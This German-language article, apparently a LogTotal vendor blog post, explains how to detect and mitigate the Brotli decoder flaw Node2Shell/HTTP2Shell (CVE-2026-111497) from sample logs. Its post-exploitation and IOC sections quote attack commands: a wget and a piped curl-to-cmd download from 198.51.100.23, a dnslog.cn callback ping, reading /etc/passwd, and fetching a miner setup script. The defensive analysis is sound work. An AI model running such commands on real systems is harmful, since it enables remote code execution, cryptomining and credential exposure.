Node2ShellFHTTP2Shell-Erkennung

Die Erkennung von Node2Shell/HTTP2Shell ist schwieriger als es aussieht, da die Schwachstelle nicht auf ein Produkt beschränkt ist. Node2Shell, auch HTTP2Shell genannt, ist CVE-2026-111497: ein Schreibzugriff außerhalb der Grenzen im Brotli-C-Decoder von Google, Versionen 1.0.3 bis 1.2.0, bewertet mit CVSS 4.0 9.2. Da sich der Fehler in einer gemeinsamen Komprimierungsbibliothek befindet, betrifft er Node.js, Python-Brotli-Pakete, Bun, curl, Envoy und andere Software, die Brotli dekodiert.

Dieser Artikel behandelt die Erkennung von Node2Shell/HTTP2Shell anhand eines Protokollbeispiels, das in LogTotal, einem Protokollanalysetool, analysiert wird und Ereignisse mit bekannten Bedrohungen abgleicht. Im Folgenden behandeln wir den Kontext der Schwachstelle, die Protokollquelle, was LogTotal gemeldet hat und wie man darauf reagiert.

Kostenlos beginnen

Analyse von Node2Shell (HTTP2Shell)

Der anfällige Code befindet sich in den Brotli-C-Decoder-Versionen 1.0.3 bis 1.2.0. Google, als Nummerierungsautorität, bewertete ihn unter CVSS 4.0 mit 9.2, während Node.js ihn als Hoch einstuft. Um das Protokollbeispiel richtig zu lesen, ist es nützlich zu wissen, wie der Fehler ausgelöst wird, wie die Offenlegung verlief und welche Softwareversionen und Konfigurationen betroffen sind.

Details zur Schwachstelle von Node2Shell

Ein Brotli-Stream, der einen einzigen Blocktyp deklarierte und dann die Blöcke wechselte, wurde nicht abgelehnt, sodass die Dekodierung in einem ungültigen Zustand fortgesetzt wurde und über einen Puffer hinaus schrieb. Jeder Prozess, der von einem Angreifer kontrollierte Brotli-Daten dekomprimiert, kann in zwei Richtungen getroffen werden:

• Eingehend: ein manipulierter Brotli-komprimierter HTTP-Anfragekörper, der an einen Server gesendet wird, der ihn dekodiert.
• Ausgehend: eine manipulierte Antwort, die an einen Client zurückgegeben wird, der sie abruft.

Der Fehler hat mehrere Namen. Node2Shell kam zuerst heraus, weil Node.js ihn zuerst bekannt machte und behob. HTTP2Shell spiegelt wider, dass er jeden Stack erreicht, der Brotli über HTTP dekodiert, und einige Berichterstattungen verwenden auch Python2Shell und Broccoli2Shell.

Zeitachse der Offenlegung und Ausnutzung

Der Fehler selbst wurde im März 2018 in Brotli 1.0.3 geliefert. Khai Tran und Sylvie Mayer von OpenAI Codex Security meldeten ihn an Node.js. Es existiert ein öffentliches Proof-of-Concept, Imperva und ELLIO reproduzierten beide die Code-Ausführung gegen offizielle Node.js-Builds, und Scanner, die ermitteln, welche Hosts Brotli dekomprimieren, sind bereits im Einsatz. Eine Codeausführung wurde für die Python-Pakete nicht gezeigt, obwohl sie bei bösartigen Eingaben abstürzen, wie der Absturz von web-prod-01 in diesem Beispiel zeigt.

Node2Shell betroffene Versionen und Fixes

Eine anfällige Version wird nur offengelegt, wenn Angreifer-Daten den Decoder erreichen können. In Node.js besteht dieser Pfad durch Express 5, body-parser 2.x, die Koa-Body-Parser, @fastify/compress mit Anforderungsdekompression, fetch() und direkte node:zlib Brotli-Aufrufe. In Python verwenden requests, httpx, aiohttp und Scrapy das Brotli- oder brotlicffi-Paket, wann immer es installiert ist. In .NET ist die Brotli-Dekompression standardmäßig deaktiviert, und Envoy und Istio sind nur mit aktiviertem Brotli-Dekompressor ausgesetzt. curl dekodiert Brotli nur mit –compressed über das System-Libbrotli, daher benötigt es ein gepatchtes Distributionspaket; Debian und Red Hat haben bereits gefixte Versionen ausgeliefert.

Protokollquelle und Sammlung

Hosts im Beispiel

Drei Hosts erscheinen in den Rohdaten auf zwei Betriebssystemen. Jeder zeigt einen anderen Teil der Node2Shell-Exposition.

Node2Shell (HTTP2Shell) erkennen

LogTotal verarbeitete 11 Zeilen in 5,3 Sekunden und stimmte 23 Regeln auf 10 Zeilen ab. Es bildete 2 Ketten, meldete 1 und filterte 1 beim AI-Verifikationsschritt aus.

Die gemeldete Kette ist Node2Shell / HTTP2Shell ist eine kritische Schwachstelle (CVE-2026-111497): Hoch, 100%-Übereinstimmung, 2 Regeln ausgelöst. Es sitzt auf einem pseudonymisierten Host zwischen 11:30 und 11:31 UTC, und dieses Fenster und die Beweise stimmen mit app-node-01 überein.

Ausnutzung: der Brotli-Decoder-Absturz

Die Regel „Möglicher CVE-2026-111497 (HTTP2Shell / Node2Shell) Ausnutzungsversuch – Brotli-Decoder-Nativer Absturz“ stimmte mit einem Node-Absturz in libbrotlidec.so.1.1.0 überein. Der Core-Dump-Stack wird von BrotliDecoderDecompressStream abgeschlossen.

Der Bericht ordnet diesen Absturz einem Denial-of-Service (T1499.004) zu, aus dem auch die Impact-Stufe stammt. Der letzte Treffer der Regel, um 11:33, fällt auf den python3-Absturz in _brotli.cpython-311 auf web-prod-01, was zeigt, wie dieselbe Bibliothek in einer zweiten Laufzeit versagt.

Post-Exploitation auf Linux

„Verdächtige NodeJS-Kindprozesse [Linux]“ wurde 4 Mal ausgelöst, als node /opt/app/server.js gestartet wurde:

• curl ruft das öffentliche C3Pool-XMRig-Miner-Setup-Skript ab
• wget http://198.51.100.23:3000/s.sh
• ping -c 1 5axzi7.dnslog.cn, ein Out-of-Band-Rückruf-Check
• cat /etc/passwd

Post-Exploitation auf Windows, außerhalb der Kette

Die Windows-Hälfte des Beispiels liegt außerhalb der gemeldeten Kette, verdient jedoch die gleiche Aufmerksamkeit. Auf win-dev-01 startete node.exe cmd.exe /c „curl -s https://198.51.100.23/api/w | cmd“, ein Download-und-Ausführen-Muster, und danach eine versteckte powershell.exe, die whoami ausführte.

Regeln, die bei dieser Aktivität ausgelöst wurden, umfassen Verdächtige NodeJS-Kindprozesse [Windows], Inhalte von Stdin über Cmd.EXE lesen und Verdächtige PowerShell-Cmdlets. Die herausgefilterte Kette, Meet AvisLoader: Ein Windows-Loader, der zur Überdauertung eines Takedowns entwickelt wurde (Hoch), wurde durch die curl-Ausführungen angetrieben.

Node2Shell IOCs aus diesem Beispiel

Verwendung von LogTotal-Ergebnissen in der Node2Shell-Triage

Beginnen Sie mit der gemeldeten Kette, um die Ausnutzung auf app-node-01 zu bestätigen, und arbeiten Sie dann jeden außerhalb der Kette liegenden Fund durch. In diesem Beispiel weisen die Regeln außerhalb der Kette und die gefilterte Kette auf zwei weitere betroffene Hosts hin, nämlich web-prod-01 und win-dev-01.

Node2Shell (HTTP2Shell) Minderung

Nur das Patching von Node.js schließt Node2Shell nicht, da der Fehler im gemeinsamen Brotli-Decoder liegt. Jede Laufzeit oder jeder Proxy, der Brotli dekodiert, benötigt ein Update, und jeder Host im Beispiel muss erfasst werden.

Jeden Brotli-Verbraucher patchen

1. Dienste auf Node.js unter 22.23.4, 24.22.1 oder 26.12.1, auf einer Linie von Node.js am Lebensende oder auf Bun unter 1.4.4 finden, einschließlich Basis-Images und Build-Hosts.
2. Zuerst die Dienste patchen, die Anforderungsnachrichten dekomprimieren (Express 5, body-parser 2.x, die Koa-Body-Parser, @fastify/compress), von Benutzern bereitgestellte URLs abrufen oder nicht vertrauenswürdige Daten an node:zlib Brotli-Funktionen weiterleiten.
3. Laufzeit aktualisieren, dann Prozesse neu starten und Container-Images neu erstellen, einschließlich eigenständiger .NET-Apps und mit bun build –compile erstellten Binärdateien.
4. PyPI brotli auf 1.2.1 und brotlicffi auf 1.2.1.0 aktualisieren und die .NET-Laufzeit, Envoy, Istio und die Distributionsbrotli-Pakete aktualisieren.
5. Von Node.js 20 und anderen nicht mehr unterstützten Linien wegziehen, die keinen Fix erhalten.
6. Bis Patches ausgeliefert werden, Content-Encoding: br am WAF oder Proxy ablehnen, es ohne Berücksichtigung der Groß- und Kleinschreibung und in Listen wie „gzip, br“ ausgleichen. Dies deckt keine über fetch() gelesenen Brotli-Antworten ab.

Von LogTotal empfohlene Reaktion

1. Den Host isolieren.
2. Prozess-, System- und Netzwerkinformationen für 11:30–11:33 UTC sammeln.
3. Das Node.js-Patchniveau verifizieren: 22.23.4, 24.22.1 oder 26.12.1.
4. Nicht autorisierte Binärdateien entfernen.
5. Unvertrauenswürdige Content-Encoding: br am WAF ablehnen.
6. Node.js unprivilegiert ausführen.
7. Automatische Brotli-Dekompression, wo möglich, deaktivieren.

Zusätzliche Schritte aus den Rohbeweisen

1. Den Umfang erweitern auf win-dev-01 und web-prod-01, nicht nur auf app-node-01.
2. Am Ausgang blockieren 198.51.100.23 und *.dnslog.cn.
3. Nach einem Miner suchen: Cron-Einträgenumer, systemd-Einheiten und ein laufender xmrig-Prozess.
4. Annehmen, dass /etc/passwd gelesen wurde und Konten entsprechend überprüfen.
5. Hunting nach node, node.exe oder python3, die Shells, Downloader oder Netzwerktools starten.

Laufende Node2Shell-Überwachung

Kern- und systemd-coredump-Nachrichten zusammen mit EDR-Prozessereignissen weiterleiten. In diesem Beispiel war der coredump-Stack der einzige direkte Nachweis für eine Ausnutzung, und die EDR-Ereignisse trugen alles, was folgte.